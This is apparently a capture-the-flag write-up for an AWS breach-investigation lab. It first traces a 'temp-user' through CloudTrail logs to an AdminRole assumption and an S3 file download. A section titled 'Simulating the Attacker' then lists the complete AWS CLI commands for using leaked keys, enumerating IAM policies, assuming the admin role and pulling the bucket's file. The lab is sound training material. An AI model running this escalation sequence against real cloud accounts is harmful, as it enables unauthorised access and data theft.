Breach in the Cloud

Analyze the challenge

The challenge presents a scenario of a potential security breach in an AWS account. We are provided with AWS credentials, CloudTrail logs, and a task to identify the breach, the compromised AWS service, and any exfiltrated data. The final goal is to retrieve a flag, which is likely hidden in the exfiltrated data.

Plan of action

1. **Setup:**
   - Download and extract the provided CloudTrail logs.
   - Prettify the JSON logs for better readability.
2. **Initial Analysis:**
   - Identify unique usernames from the logs to pinpoint suspicious activity.
   - Focus on the `temp-user` as it deviates from the naming convention.
3. **Detailed Log Examination:**
   - Analyze logs chronologically, starting with the earliest timestamp.
   - Trace the actions of `temp-user`, paying attention to:
     - `GetCallerIdentity` calls.
     - Source IP addresses.
     - Failed attempts to access resources (especially S3 buckets).
     - Permission enumeration attempts (noting AccessDenied errors).
     - Successful `AssumeRole` calls.
4. **Identifying the Breach:**
   - Determine the sequence of events leading to successful data access.
   - Identify the role that was assumed (`AdminRole`).
   - Pinpoint the accessed S3 bucket (`emergency-data-recovery`).
   - Note which files were downloaded (`emergency.txt`).
5. **Simulating the Attacker:**
   - Configure the AWS CLI with the provided credentials.
   - Verify the initial identity using `aws sts get-caller-identity`.
   - Examine user policies using `aws iam list-user-policies` and `aws iam get-user-policy`.
   - Assume the `AdminRole` using `aws sts assume-role`.
   - Update AWS CLI configuration with the new credentials.
   - Verify the new identity using `aws sts get-caller-identity`.
6. **Data Retrieval and Flag Extraction:**

  - List the contents of the `emergency-data-recovery` bucket using `aws s3 ls`.
  - Download `emergency.txt` using `aws s3 cp`.
  - Extract the flag from `emergency.txt`.

Perform the steps to identify the breach

Step 1: Setup

1. Download the CloudTrail logs (INCIDENT-3252.zip).
2. Extract the logs: `unzip INCIDENT-3252.zip -d INCIDENT-3252`
3. Navigate to the extracted directory: `cd INCIDENT-3252`
4. Prettify the JSON files:

```
for file in *.json; do jq . "$file" > "$file.tmp" && mv "$file.tmp"
"$file"; done
```

Step 2: Initial Analysis

1. Identify unique usernames:

```
grep -r userName | sort -u
```

2. This should show the temp-user

Step 3: Detailed Log Examination

1. Examine the earliest log file (e.g., `107513503799_CloudTrail_us-east-1_20230826T2035Z_PjmwM7E4hZ6897Aq.json`):

```
grep -h -A 10 temp-user 107513503799_CloudTrail_us-east-
1_20230826T2035Z_PjmwM7E4hZ6897Aq.json
```

2. Check the source IP:
   - `curl ipinfo.io/84.32.71.19`
3. Examine subsequent log files for failed S3 access and AccessDenied errors.
   - `nano 107513503799_CloudTrail_us-east-1_20230826T2040Z_UkDeakooXR09uCBm.json`
   - `grep errorMessage 107513503799_CloudTrail_us-east-1_20230826T2050Z_iUtQqYPskB20yZqT.json | wc -l`
   - `grep errorMessage 107513503799_CloudTrail_us-east-1_20230826T2055Z_W0F5uypAbGttUgSn.json | wc -l`
4. Look for successful AssumeRole:

```
grep -A 20 temp-user 107513503799_CloudTrail_us-east-1_20230826T2100Z_APB7fBUnHmiWjHtg.json
```

5. Verify role assumption:

```
grep -A 20 AdminRole 107513503799_CloudTrail_us-east-1_20230826T2105Z_fpp78PgremAcrW5c.json
```

6. Find S3 access and file download:
   - `grep eventName 107513503799_CloudTrail_us-east-1_20230826T2120Z_UCUhsJa0zoFY3ZO0.json`

Step 4: Identifying the Breach

- The breach involved `temp-user` assuming the `AdminRole` and accessing the `emergency-data-recovery` S3 bucket.
- The file `emergency.txt` was downloaded.

Step 5: Simulating the Attacker

1. Configure AWS CLI:

```
aws configure
```

```
*   Enter the provided Access Key ID and Secret Access Key.
*   Set the region to `us-east-1`.
```

2. Verify initial identity:

```
aws sts get-caller-identity
```

3. List user policies:

```
aws iam list-user-policies --user-name temp-user
```

4. Get user policy:

```
aws iam get-user-policy --user-name temp-user --policy-name test-temp-user
```

5. Assume AdminRole:

```
aws sts assume-role --role-arn arn:aws:iam::107513503799:role/AdminRole --role-session-name MySession
```

6. Update AWS CLI configuration with the new credentials from the output of the previous command.

```
aws configure
#then
aws configure set aws_session_token "<session_token>"
```

7. Verify new identity:

```
aws sts get-caller-identity
```

Step 6: Data Retrieval and Flag Extraction

1. List bucket contents:

```
aws s3 ls s3://emergency-data-recovery
```

2. Download `emergency.txt`:

```
aws s3 cp s3://emergency-data-recovery/emergency.txt .
```

3. View the file to find the flag:

```
cat emergency.txt
```

- The flag is: **xxxxxxxxxxxxxxxxxxxxxxxxxxxx3663**